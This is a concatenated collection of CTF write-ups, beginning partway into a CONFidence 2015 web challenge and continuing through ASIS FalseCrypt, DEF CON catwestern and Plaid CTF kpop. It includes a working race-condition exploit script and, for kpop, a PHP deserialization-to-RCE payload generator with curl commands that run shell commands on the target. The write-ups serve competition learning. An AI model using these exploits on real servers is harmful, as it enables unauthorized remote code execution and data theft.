So essentially we get a single shot at guessing the secret right.
Given that the secrets are, for all intents and purposes, generated securely:
>```php>function generate_secret()>{> $f = fopen('/dev/urandom','rb');> $secret1 = fread($f,32);> $secret2 = fread($f,32);> fclose($f);> > return sha1($secret1).sha1($secret2);>}>```
We will have to either somehow prevent the secret from being refreshed or be quick enough to submit it before it gets refreshed. The former could be possible with a [HEAD request](https://rdot.org/forum/showthread.php?t=1330) which will halt script execution at first output hence not executing the secret-refreshing code. Since our guess has to be submitted as a POST variable, however, this is not an option.
Looking at the code, however, we do see that in the case of a wrong guess the guess attempt itself is output too (being processed by htmlspecialchars first):
>```php>echo "Wrong! '{$_SESSION['secret']}' != '";>echo htmlspecialchars($guess);>echo "'";>>$_SESSION['secret'] = generate_secret();>```
Hence, if we make a request with a very large guess, we can buy ourselves some time between the display of the secret and its refreshing. So our exploit will consist of creating a session, making a very large guess, extracting the secret from the response and immediately closing the connection (since we can only have one connection per session) and submit the secret:
>```python>#!/usr/bin/python>#># Teaser CONFidence CTF 2015># Practical numerology (WEB/300)>#># @a: Smoke Leet Everyday># @u: https://github.com/smokeleeteveryday>#>>import socket>import re>>url = '134.213.136.172'>data = 'guess='>>payload1 = 'GET / HTTP/1.1\r\n'>payload1 += 'Host: 134.213.136.172\r\n\r\n'>>payload2 = "POST / HTTP/1.1\r\n">payload2 += "Host: 134.213.136.172\r\n">payload2 += "Cookie: PHPSESSID={}\r\n">payload2 += "Content-Length: {}\r\n">payload2 += "Content-Type: application/x-www-form-urlencoded\r\n\r\n">payload2 += "{}">>s = socket.create_connection((url, 80))>s.send(payload1)>cookie = re.findall('PHPSESSID=(.*);', s.recv(1500))[0]>s.close()>>s = socket.create_connection((url, 80))>guess = data + 'A'*1000000>s.send(payload2.format(cookie, len(guess), guess))>secret = re.findall("'(.*)' !=", s.recv(500))[0]>s.close()>>s = socket.create_connection((url, 80))>guess = data + secret>s.send(payload2.format(cookie, len(guess), guess))>print s.recv(2000).splitlines()[-1]>s.close()>```
Which produces the following output:
>```bash>$ ./practicalnum_sploit.py >Lucky bastard! You won the flag! DrgnS{JustThinkOutOfTheBoxSometimes...}>``` |
# ASIS Quals CTF 2015: FalseCrypt
**Category:** Crypto**Points:** 450**Solves:** 3**Description:**
> Connect there: >> nc 217.218.48.84 12431
## Write-up
by [DerBaer0](https://github.com/DerBaer0)
Ok, let's see what to do with the challange with the most points in this contest. It took me a long time to understand, how this is working and again a lot of time to get the output correct. However, solving was quite easy.
**First step**> A Cryptosystems that uses public-key cryptography, as it is very small could be use for embeded systems as
> well as for servers and so on. It's been said that it's performance is much better than RSA and and can't
> be broken by Shor's algorithm.
> What's the name of this cryptosystem?
This is how you are welcomed on the server. So, we are looking for public-key cryptosystem that can't be broken by Shor's algorithm. Google knows the answer: NTRU
In Wikipedia: (http://en.wikipedia.org/wiki/NTRUEncrypt)
Math on polynoms: (https://www.securityinnovation.com/uploads/Crypto/NTRU%20Algebra%20Tutorial.pdf)
With a good example: (http://people.scs.carleton.ca/~maheshwa/courses/4109/Seminar11/NTRU_presentation.pdf)
Never heard about it. I was looking a long time to find good explanations. The Math was helpful to know, how to code the functions and the 3rd link had some examples to test everything.
Ok, let's see what we have to do.
**Encryption**After the first question, we have to crack the NTRU cryptography (correct and fast, as always):> pubkey:
> (5, 3, 16, 10*x^4 + 4*x^3 + 6*x^2 + 11*x + 14)
> enc: 15*x + 15
The public key is (N, p, q, h), the ciphertext (enc) e
| Variable | Explanation ||----------|----------------|| N | Integer, Modulus for exponent || p | Integer(small), Modulus for coefficients || q | Integer(large), Modulus for coefficients || h | Polynom || e | Polynom, ciphertext |
So, how does NTRU encryption work?* Choose random polynom r with coefficients from (0, 1, -1)* Convert message to polynom m with coefficients from (0, 1, -1) (Though the solution in the challange was the the polynom itself.)* e = r * h + m (mod q)
We can crack the polynom h to be able to calculate the private key and than decrypt the whole message. But I didn't understand how this works and it looked like a lot of work.
So, we have small values everywhere. Why not Brute-force the random r and the message m? Both r and m are polynoms with N coefficients from the values (0, 1, -1). So 3^10 = 59049 possibilites.
So, I implemented the polynom arithmetic, a parser for the polynoms(sig) and a recursive function to generate the r and m. Then I tried these values, took the solution and sent it back to the server. And after one hundred tries, I finally fixed all presentation bugs etc. and the server accepted my decrypted message.
But as usual, parameter sizes increased. I changed the hardcoded N, p and q to variable values and continue. After 2 or 3 stages, the polynom was too big to bruteforce.
**Optimization**Bruteforcing 2 * N coefficients took too long time, so I optimized.
> e = r * h + m (mod q)
> e - r * h = m (mod q) I know e, h and q. So, I changed my algorithm to only brute-force r and then calculated mN. I just had to check, if m is a valid message polygon (coefficientes = 0, 1, -1). As a result, I only had N coefficientes to brute-force. Tis took some time, but was still fast enough.
After 4 levels, the server answered with:ASIS{b8eaee716e1d7e29b88b31e84272c6c2}
Was easier than it looked liked. Just find the one important function in the whole process and mess around with polygon parsing / writing.
## Other write-ups and resources
* none yet |
# DEF CON CTF Quals 2015: catwestern
----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| DEF CON CTF Quals 2015 | catwestern | Coding | 1 |
**Description:**>*meow catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me 9999*
----------## Write-up
If we connect to the server we get the following response:
>```bash>$ nc catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me 9999>****Initial Register State****>rax=0xfcf7659c7a4ad096>rbx=0x1df0e8dfe8f70b53>rcx=0x55004165472b9655>rdx=0x1aa98e77006adf1>rsi=0x949a482579724b11>rdi=0x1e671d7b7ef9430>r8=0x3251192496cee6a6>r9=0x278d01e964b0efc8>r10=0x1c5c8cca5112ad12>r11=0x75a01cef4514d4f5>r12=0xe109fd4392125cc7>r13=0xe5e33405335ba0ff>r14=0x633e16d0ec94137>r15=0xb80a585e0cd42415>****Send Solution In The Same Format****>About to send 74 bytes: >hŒråRI‡ÔA]HÿÊIÇ¢éNhIÿÊHÿÃHÎIÇ^?…6H¤Ã> M?ÃI÷ëH)ðHÆQØ8eHÿÀIÁÕ?H5Œm'?Ã^C>```
Seeing as we are faced with some x86_64 registers and 74 random bytes we probably have to emulate them (with the initial machine state set to the register values) and respond with the result.
We initially tried going for several emulators with python bindings but found them either too bloated for the job or incomplete (either due to lack of 64-bit support or incomplete instruction set support for certain instructions like 'bswap'). So [we decided to go with](solution/catwestern_solution.py) the less elegant but equally effective approach of creating a small executable that outputs its own state. In order to do this we simply wrote a nasm template that initialized all registers to the proper values, included the received shellcode (with the admittedly superfluous way of disassembling it first) and simply printf()'d the registers:
>```python>#!/usr/bin/python>#># DEF CON CTF Quals 2015># catwestern (CODING/1)>#># @a: Smoke Leet Everyday># @u: https://github.com/smokeleeteveryday>#>>from pwn import *>from parse import *>from capstone import *>from os import system>># Disassemble a given blob>def disassemble(blob):> dis = ""> md = Cs(CS_ARCH_X86, CS_MODE_64)> for i in md.disasm(blob, 0x0):> dis += " %s\t%s\n" %(i.mnemonic, i.op_str)> return dis>># Evaluate shellcode>def eval_sc(regs, blob):> disassembly = disassemble(blob)> print "[+]shellcode: [%s]" % disassembly> regs['shellcode'] = disassembly>> nasm_code = """global main>extern printf>>section .data> string: db "rax=0x%llx", 10, "rbx=0x%llx", 10, "rcx=0x%llx", 10, "rdx=0x%llx", 10, "rsi=0x%llx", 10, "rdi=0x%llx", 10, "r8=0x%llx", 10, "r9=0x%llx", 10, "r10=0x%llx", 10, "r11=0x%llx", 10, "r12=0x%llx", 10, "r13=0x%llx", 10, "r14=0x%llx", 10, "r15=0x%llx", 10, 0> >section .text> main:>> ; prologue> push rbp> mov rbp,rsp> sub rsp,0x60>> mov dword [rbp-0x4], edi> mov qword [rbp-0x10], rsi>> ; clear regs> xor rax, rax> xor rbx, rbx> xor rcx, rcx> xor rdx, rdx> xor rsi, rsi> xor rdi, rdi> xor r8, r8> xor r9, r9> xor r10, r10> xor r11, r11> xor r12, r12> xor r13, r13> xor r14, r14> xor r15, r15 >> ; set regs>> mov rax, {rax}> mov rbx, {rbx}> mov rcx, {rcx}> mov rdx, {rdx}> mov rsi, {rsi}> mov rdi, {rdi}> mov r8, {r8}> mov r9, {r9}> mov r10, {r10}> mov r11, {r11}> mov r12, {r12}> mov r13, {r13}> mov r14, {r14}> mov r15, {r15}>> ; execute shellcode>> call shellcode>> ; display result>> mov qword [rsp], rdi> mov qword [rsp+0x8], r8> mov qword [rsp+0x10], r9> mov qword [rsp+0x18], r10> mov qword [rsp+0x20], r11> mov qword [rsp+0x28], r12> mov qword [rsp+0x30], r13> mov qword [rsp+0x38], r14> mov qword [rsp+0x40], r15>> mov r8, rdx> mov r9, rsi> mov rcx, rcx> mov rdx, rbx> mov rsi, rax>> mov rax, 0> mov rdi, string> > call printf>> ; exit> > leave> ret>> shellcode:>> {shellcode}""".format(**regs)>> open("set.asm", "wb").write(nasm_code)> system("nasm -f elf64 -g set.asm; gcc set.o; ./a.out > set.out")> return open("set.out", "rb").read()>>host = "catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me">port = 9999>>h = remote(host, port)>>msg = h.recv(4096)>>regs = parse("****Initial Register State****\nrax={}\nrbx={}\nrcx={}\nrdx={}\nrsi={}\nrdi={}\nr8={}\nr9={}\nr10={}\nr11={}\nr12={}\nr13={}\nr14={}\nr15={}", msg)>registers = {'rax': regs[0], 'rbx': regs[1], 'rcx': regs[2], 'rdx': regs[3], 'rsi': regs[4], 'rdi': regs[5], 'r8': regs[6], 'r9': regs[7], 'r10': regs[8], 'r11': regs[9], 'r12': regs[10], 'r13': regs[11], 'r14': regs[12], 'r15': regs[13]}>>print "[+]Got registers: [%s]" % registers>>msg = h.recv(4096)>>r = search ("****Send Solution In The Same Format****\nAbout to send {:d} bytes:{}", msg)>>size = int(r[0])>offset = msg.find("bytes:")>bytes = msg[offset+8:offset+8+size]>>print "[+]Got %d bytes" % size>>ret_state = eval_sc(registers, bytes)>>print "[+]Return state: [%s]" % ret_state>>h.send(ret_state+"\n")>>print h.recv(4096)>>h.close()>```
which gives the following output when run:
>```bash>$>catwestern_solution.py >[+] Opening connection to catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me on port 9999: Done>[+]Got registers: [{'r14': '0xa7f4194a21a1ada', 'r15': '0x5f40fef8d75f6fb1', 'r12': '0xa84d301212e48f33', 'rsi': '0x47da6c3bdd3944df', 'r10': '0x98368cba467e7540', 'r11': '0x92042c356f0d861b', 'r9': '0xf6d68e704d0cbff4', 'rax': '0xbec2480fd894e83', 'r13': '0xb0d9cc6db84b2abf', 'rcx': '0x7680e68f14e3fc8e', 'rbx': '0x57d29de0982a6618', 'r8': '0x9d3ac7fb18a07ce4', 'rdx': '0xf97b180e33bac730', 'rdi': '0xee8a2c9af017972e'}]>[+]Got 67 bytes>[+]shellcode: [ neg rcx> adc r11, r13> sbb rdx, 0x4eec042> push rcx> pop rdi> not rbx> push 0x4304b422> shld r11, r8, 0xf> add r9, 0x7e21a84e> sub r8, r14> shl r12, 8> dec rcx> add rcx, r10> nop > pop rsi> shld r15, r12, 8> or rdx, 0x426c45c5> imul r14, r15> ret >]>[+]Return state: [rax=0xbec2480fd894e83>rbx=0xa82d621f67d599e7>rcx=0x21b5a62b319a78b1>rdx=0xf97b180e6eec47ed>rsi=0x4304b422>rdi=0x897f1970eb1c0372>r8=0x92bb86667686620a>r9=0xf6d68e70cb2e6842>r10=0x98368cba467e7540>r11=0xfc5193ac586dce9d>r12=0x4d301212e48f3300>r13=0xb0d9cc6db84b2abf>r14=0x4e74342758f0cd92>r15=0x40fef8d75f6fb14d>]>The flag is: Cats with frickin lazer beamz on top of their heads!>``` |
# Plaid CTF 2014: kpop
**Category:** Web**Points:** 200**Description:**
> Sometimes, the Plague leaves some of his old stuff up and running. We found a [K-Pop lyrics website](http://54.234.123.205/) the Plague wrote back when he was learning to program. It was [open-source](kpop-686da11b170e7054ebee30a218d6490f.tar.bz2), too! We believe there might be something important in `/home/flag/flag`. Could you get it for us?
## Write-up
[The `/import.php` endpoint](http://54.234.123.205/import.php) has a form that accepts user input. Its source code (part of [the provided tarball](kpop-686da11b170e7054ebee30a218d6490f.tar.bz2)) calls `User::addLyrics($newperms)` when the form is submitted. Here’s the source code for this class:
```phpclass User { static function addLyrics($lyrics) { $oldlyrics = array(); if (isset($_COOKIE['lyrics'])) { $oldlyrics = unserialize(base64_decode($_COOKIE['lyrics'])); } foreach ($lyrics as $lyric) $oldlyrics []= $lyric; setcookie('lyrics', base64_encode(serialize($oldlyrics))); } static function getLyrics() { if (isset($_COOKIE['lyrics'])) { return unserialize(base64_decode($_COOKIE['lyrics'])); } else { setcookie('lyrics', base64_encode(serialize(array(1, 2)))); return array(1, 2); } }};```
A-ha! It performs serialization of user-controlled input (the value of the `lyrics` cookie).
[The provided source code](kpop-686da11b170e7054ebee30a218d6490f.tar.bz2) also contains an `OutputFilter` class in `classes.php` that takes two arguments: a pattern and a replacement. These arguments are then passed to `preg_replace()`. If we can somehow manage to use the deprecated `/e` modifier for `preg_replace()`, this would enable remote code execution. [The PHP documentation describes this ‘feature’ as follows](http://php.net/manual/en/reference.pcre.pattern.modifiers.php#reference.pcre.pattern.modifiers.eval):
> If this deprecated modifier is set, `preg_replace()` does normal substitution of backreferences in the replacement string, evaluates it as PHP code, and uses the result for replacing the search string.
Adding one and one together, it’s possible to craft an exploit that uses the unsafe serialization vulnerability to trigger the remote code execution vulnerability. First, we create a custom value for the `lyrics` cookie. This value must be equal to `base64_encode(serialize($lyrics))` for an instance of any `Lyrics` object.
Let’s make a copy of `classes.php` and save it as [`classes-patched.php`](classes-patched.php). I made a few changes, so that it returns a value for the `lyrics` cookie containing a remote code execution payload:
```diff--- classes.php 2014-04-11 05:46:37.000000000 +0200+++ classes-patched.php 2014-04-12 13:33:37.000000000 +0200@@ -1,5 +1,15 @@ PHP Deprecated: `preg_replace()`: The `/e` modifier is deprecated, use+// > `preg_replace_callback` instead in `classes.php` on line 11+// Turn off all error reporting to avoid this.+error_reporting(0);++// Allow passing a shell argument containing the desired payload, e.g.+// $ php classes-patched.php 'cat /etc/passwd'+$command = isset($argv[1]) ? $argv[1] : 'ls -lsa';+ class OutputFilter { protected $matchPattern; protected $replacement;@@ -57,9 +67,13 @@ protected $group; protected $url; function __construct($name, $group, $url) {+ global $command; $this->name = $name; $this->group = $group; $this->url = $url;- $fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "\\1");+ $fltr = new OutputFilter(+ "/^./e",+ 'system("' . str_replace('"', '\\"', $command) . '")'+ ); $this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n"))); } function __toString() {@@ -156,3 +170,8 @@ } };
+// Create a dummy `Lyrics` instance.+$song = new Song('name', 'group', 'url');+$lyric = new Lyrics('lyrics', $song);+// Get its serialized form, base64-encode it, and print it.+echo base64_encode(serialize($lyric)) . PHP_EOL;```
Here’s an example of its output:
```bash$ php classes-patched.php 'pwd'Tzo2OiJMeXJpY3MiOjI6e3M6OToiACoAbHlyaWNzIjtzOjY6Imx5cmljcyI7czo3OiIAKgBzb25nIjtPOjQ6IlNvbmciOjQ6e3M6OToiACoAbG9nZ2VyIjtPOjY6IkxvZ2dlciI6MTp7czoxMjoiACoAbG9nd3JpdGVyIjtPOjE0OiJMb2dXcml0ZXJfRmlsZSI6Mjp7czoxMToiACoAZmlsZW5hbWUiO3M6MTA6InNvbmdfdmlld3MiO3M6OToiACoAZm9ybWF0IjtPOjEzOiJMb2dGaWxlRm9ybWF0IjoyOntzOjEwOiIAKgBmaWx0ZXJzIjthOjE6e2k6MDtPOjEyOiJPdXRwdXRGaWx0ZXIiOjI6e3M6MTU6IgAqAG1hdGNoUGF0dGVybiI7czo1OiIvXi4vZSI7czoxNDoiACoAcmVwbGFjZW1lbnQiO3M6MTM6InN5c3RlbSgicHdkIikiO319czo3OiIAKgBlbmRsIjtzOjE6IgoiO319fXM6NzoiACoAbmFtZSI7czo0OiJuYW1lIjtzOjg6IgAqAGdyb3VwIjtzOjU6Imdyb3VwIjtzOjY6IgAqAHVybCI7czozOiJ1cmwiO319/ctfs/write-ups/plaid-ctf-2014/kpop```
Note that it doesn’t just print the desired cookie value — it also executes the payload on our local system as an unfortunate side effect. To hide this part of the output, we can pipe to `head -n1`:
```bash$ php classes-patched.php 'pwd' | head -n1Tzo2OiJMeXJpY3MiOjI6e3M6OToiACoAbHlyaWNzIjtzOjY6Imx5cmljcyI7czo3OiIAKgBzb25nIjtPOjQ6IlNvbmciOjQ6e3M6OToiACoAbG9nZ2VyIjtPOjY6IkxvZ2dlciI6MTp7czoxMjoiACoAbG9nd3JpdGVyIjtPOjE0OiJMb2dXcml0ZXJfRmlsZSI6Mjp7czoxMToiACoAZmlsZW5hbWUiO3M6MTA6InNvbmdfdmlld3MiO3M6OToiACoAZm9ybWF0IjtPOjEzOiJMb2dGaWxlRm9ybWF0IjoyOntzOjEwOiIAKgBmaWx0ZXJzIjthOjE6e2k6MDtPOjEyOiJPdXRwdXRGaWx0ZXIiOjI6e3M6MTU6IgAqAG1hdGNoUGF0dGVybiI7czo1OiIvXi4vZSI7czoxNDoiACoAcmVwbGFjZW1lbnQiO3M6MTM6InN5c3RlbSgicHdkIikiO319czo3OiIAKgBlbmRsIjtzOjE6IgoiO319fXM6NzoiACoAbmFtZSI7czo0OiJuYW1lIjtzOjg6IgAqAGdyb3VwIjtzOjU6Imdyb3VwIjtzOjY6IgAqAHVybCI7czozOiJ1cmwiO319```
Now we can start sending requests to the vulnerable server using the generated cookie value. There’s no need to enter anything in the “data to import” form field.
```bash$ curl --data 'data=' --cookie "lyrics=$(php classes-patched.php 'ls -lsa' | head -n1)" 'http://54.234.123.205/import.php'total 524 drwxr-xr-x 3 root root 4096 Apr 12 07:55 .4 drwxr-xr-x 12 root root 4096 Apr 11 19:40 ..4 -rw-r--r-- 1 root root 1150 Apr 11 19:50 add_song.php8 -rw-r--r-- 1 root root 4308 Apr 12 07:55 classes.php4 -rw-r--r-- 1 root root 93 Apr 11 19:50 data.php4 -rw-r--r-- 1 root root 417 Apr 11 19:50 export.php4 -rw-r--r-- 1 root root 864 Apr 11 19:50 import.php4 -rw-r--r-- 1 root root 177 Apr 11 19:41 index.html4 -rw-r--r-- 1 root root 423 Apr 11 19:50 index.php4 drw-rw-rw- 2 root root 4096 Apr 12 07:52 logs4 -rw-r--r-- 1 root root 454 Apr 11 19:50 song.php4 -rw-r--r-- 1 root root 777 Apr 11 19:50 songs.php<html> <head> <title>The Plague's KPop Fan Page - Imported Songs</title> </head> <body> Your songs have been imported! Go back to the songs page to see them! </body></html>```
Your songs have been imported! Go back to the songs page to see them!
The challenge description mentioned `/home/flag/flag`. What could it be?
```bash$ curl --data 'data=' --cookie "lyrics=$(php classes-patched.php 'file /home/flag/flag' | head -n1)" 'http://54.234.123.205/import.php'/home/flag/flag: ASCII text<html>…```
Surprise — it’s a plain text file! Who knew?! Let’s view its contents:
```bash$ curl --data 'data=' --cookie "lyrics=$(php classes-patched.php 'file /home/flag/flag' | head -n1)" 'http://54.234.123.205/import.php'One_of_our_favorite_songs_is_bubble_pop<html>…```
The flag is `One\_of\_our\_favorite\_songs\_is\_bubble\_pop`.
## Other write-ups and resources
* <https://blog.skullsecurity.org/2014/plaidctf-writeup-for-web-200-kpop-bad-deserialization>* <http://akaminsky.net/plaidctf-quals-2014-web-200-kpop/>* [Solution in PHP by @manhluat93](https://gist.github.com/anonymous/31bfc4eea34fb213e4bc)* [Source code for this challenge, released after the CTF](https://github.com/pwning/plaidctf2014/tree/master/web/kPOP)* <http://blog.dragonsector.pl/2014/04/plaidctf-2014-kpop-and-reeekeee.html> |